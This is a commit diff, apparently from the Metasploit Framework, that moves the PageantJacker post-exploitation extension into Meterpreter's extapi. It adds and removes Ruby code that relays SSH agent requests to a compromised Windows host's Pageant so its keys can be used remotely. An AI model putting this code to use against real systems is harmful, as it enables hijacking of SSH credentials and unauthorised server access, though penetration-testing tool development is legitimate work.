Merge pull request #1 from bcook-r7/land-5380-pageantjacker
update pageantjacker to run as part of extapi
This commit is contained in:
commit
853d822992
|
@ -6,6 +6,7 @@ require 'rex/post/meterpreter/extensions/extapi/service/service'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
|
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
|
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
|
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
|
||||||
|
require 'rex/post/meterpreter/extensions/extapi/pageant/pageant'
|
||||||
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
|
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
|
||||||
|
|
||||||
module Rex
|
module Rex
|
||||||
|
@ -36,6 +37,7 @@ class Extapi < Extension
|
||||||
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
|
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
|
||||||
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
|
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
|
||||||
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
|
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
|
||||||
|
'pageant' => Rex::Post::Meterpreter::Extensions::Extapi::Pageant::Pageant.new(client),
|
||||||
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
|
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
|
||||||
})
|
})
|
||||||
},
|
},
|
||||||
|
|
|
@ -0,0 +1,44 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Post
|
||||||
|
module Meterpreter
|
||||||
|
module Extensions
|
||||||
|
module Extapi
|
||||||
|
module Pageant
|
||||||
|
###
|
||||||
|
# PageantJacker extension - Hijack and interact with Pageant
|
||||||
|
#
|
||||||
|
# Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||||
|
#
|
||||||
|
###
|
||||||
|
class Pageant
|
||||||
|
def initialize(client)
|
||||||
|
@client = client
|
||||||
|
end
|
||||||
|
|
||||||
|
def forward(blob, size)
|
||||||
|
return nil unless size > 0 && blob.size > 0
|
||||||
|
|
||||||
|
packet_request = Packet.create_request('extapi_pageant_send_query')
|
||||||
|
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN, size)
|
||||||
|
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN, blob)
|
||||||
|
|
||||||
|
response = client.send_request(packet_request)
|
||||||
|
return nil unless response
|
||||||
|
|
||||||
|
{
|
||||||
|
success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_STATUS),
|
||||||
|
blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB),
|
||||||
|
error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
attr_accessor :client
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -75,6 +75,12 @@ TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_E
|
||||||
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
|
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
|
||||||
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
|
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
|
||||||
|
|
||||||
|
TLV_TYPE_EXTENSION_PAGEANT_STATUS = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 85)
|
||||||
|
TLV_TYPE_EXTENSION_PAGEANT_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 86)
|
||||||
|
TLV_TYPE_EXTENSION_PAGEANT_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 87)
|
||||||
|
TLV_TYPE_EXTENSION_PAGEANT_SIZE_IN = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 88)
|
||||||
|
TLV_TYPE_EXTENSION_PAGEANT_BLOB_IN = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 89)
|
||||||
|
|
||||||
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
|
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
|
||||||
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
|
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
|
||||||
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)
|
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)
|
||||||
|
|
|
@ -1,56 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
require 'rex/post/meterpreter/extensions/pageantjacker/tlv'
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Post
|
|
||||||
module Meterpreter
|
|
||||||
module Extensions
|
|
||||||
module Pageantjacker
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# PageantJacker extension - Hijack and interact with Pageant
|
|
||||||
#
|
|
||||||
# Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
|
||||||
#
|
|
||||||
###
|
|
||||||
|
|
||||||
class Pageantjacker < Extension
|
|
||||||
|
|
||||||
def initialize(client)
|
|
||||||
super(client, 'pageantjacker')
|
|
||||||
|
|
||||||
client.register_extension_aliases(
|
|
||||||
[
|
|
||||||
{
|
|
||||||
'name' => 'pageantjacker',
|
|
||||||
'ext' => self
|
|
||||||
},
|
|
||||||
])
|
|
||||||
end
|
|
||||||
|
|
||||||
def forward_to_pageant(blob,size)
|
|
||||||
return unless size > 0
|
|
||||||
return unless blob.size > 0
|
|
||||||
|
|
||||||
packet_request = Packet.create_request('pageant_send_query')
|
|
||||||
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size)
|
|
||||||
packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob)
|
|
||||||
|
|
||||||
response = client.send_request(packet_request)
|
|
||||||
return nil if !response
|
|
||||||
|
|
||||||
pageant_plugin_response = {
|
|
||||||
success: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS),
|
|
||||||
blob: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB),
|
|
||||||
error: response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE)
|
|
||||||
}
|
|
||||||
|
|
||||||
return pageant_plugin_response
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end; end; end; end; end
|
|
||||||
|
|
|
@ -1,18 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
module Rex
|
|
||||||
module Post
|
|
||||||
module Meterpreter
|
|
||||||
module Extensions
|
|
||||||
module Pageantjacker
|
|
||||||
|
|
||||||
TLV_TYPE_EXTENSION_PAGEANTJACKER_STATUS = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 1)
|
|
||||||
TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
|
|
||||||
TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 3)
|
|
||||||
TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 4)
|
|
||||||
TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN = TLV_META_TYPE_RAW | (TLV_EXTENSIONS + 5)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,60 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
require 'rex/post/meterpreter'
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Post
|
|
||||||
module Meterpreter
|
|
||||||
module Ui
|
|
||||||
|
|
||||||
###
|
|
||||||
#
|
|
||||||
# PageantJacker extension
|
|
||||||
#
|
|
||||||
###
|
|
||||||
class Console::CommandDispatcher::PageantJacker
|
|
||||||
|
|
||||||
Klass = Console::CommandDispatcher::PageantJacker
|
|
||||||
|
|
||||||
include Console::CommandDispatcher
|
|
||||||
|
|
||||||
def initialize(shell)
|
|
||||||
super
|
|
||||||
print_line
|
|
||||||
print_line
|
|
||||||
print_line(" .mMMMMMm. mMMm M WWW W W RRRRR")
|
|
||||||
print_line(" mMMMMMMMMMMM. MM MM W W W R R")
|
|
||||||
print_line(" /MMMM- -MM. MM MM W W W R R")
|
|
||||||
print_line(" /MMM. _ \/ ^ M M M M W W W W RRRR")
|
|
||||||
print_line(" |M. aRRr /W| M M M M W W W W R R")
|
|
||||||
print_line(" \/ .. ^^^ wWWW| M M M W W R R")
|
|
||||||
print_line(" /WW\. .wWWWW/ M M M W W R R")
|
|
||||||
print_line(" |WWWWWWWWWWW/")
|
|
||||||
print_line(" .WWWWWW. PageantJacker Extension")
|
|
||||||
print_line(" stuart.morgan@mwrinfosecurity.com")
|
|
||||||
print_line
|
|
||||||
print_line(" Use post/windows/manage/forward_pageant to proxy through Pageant")
|
|
||||||
print_line
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# List of supported commands.
|
|
||||||
#
|
|
||||||
def commands
|
|
||||||
{
|
|
||||||
# No commands here, bceause everything is done from the POST module
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# Name for this dispatcher
|
|
||||||
#
|
|
||||||
def name
|
|
||||||
"PageantJacker"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -38,6 +38,19 @@ class Metasploit3 < Msf::Post
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def setup
|
||||||
|
unless session.extapi
|
||||||
|
vprint_status("Loading extapi extension...")
|
||||||
|
begin
|
||||||
|
session.core.use("extapi")
|
||||||
|
rescue Errno::ENOENT
|
||||||
|
print_error("This module is only available in a windows meterpreter session.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
# Check to ensure that UNIX sockets are supported
|
# Check to ensure that UNIX sockets are supported
|
||||||
begin
|
begin
|
||||||
|
@ -47,18 +60,6 @@ class Metasploit3 < Msf::Post
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
# Attempt to load the pageantjacker extension if it isn't already loaded.
|
|
||||||
unless session.pageantjacker
|
|
||||||
print_status("Loading PageantJacker extension on session #{session.sid} (#{session.session_host})")
|
|
||||||
session.core.use("pageantjacker")
|
|
||||||
end
|
|
||||||
|
|
||||||
# Fail if it cannot be loaded
|
|
||||||
unless session.pageantjacker
|
|
||||||
print_error("Failed to load PageantJacker on session #{session.sid} (#{session.session_host})")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
|
|
||||||
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
|
# Get the socket path from the user supplied options (or leave it blank to get the plugin to choose one)
|
||||||
if datastore['SocketPath']
|
if datastore['SocketPath']
|
||||||
@sockpath = datastore['SocketPath'].to_s
|
@sockpath = datastore['SocketPath'].to_s
|
||||||
|
@ -84,7 +85,7 @@ class Metasploit3 < Msf::Post
|
||||||
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
|
socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX
|
||||||
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
|
break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty?
|
||||||
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
|
vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})")
|
||||||
response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)
|
response = session.extapi.pageant.forward(socket_request_data.first, socket_request_data.first.size)
|
||||||
if response[:success]
|
if response[:success]
|
||||||
begin
|
begin
|
||||||
s.send response[:blob], 0
|
s.send response[:blob], 0
|
||||||
|
|
Loading…
Reference in New Issue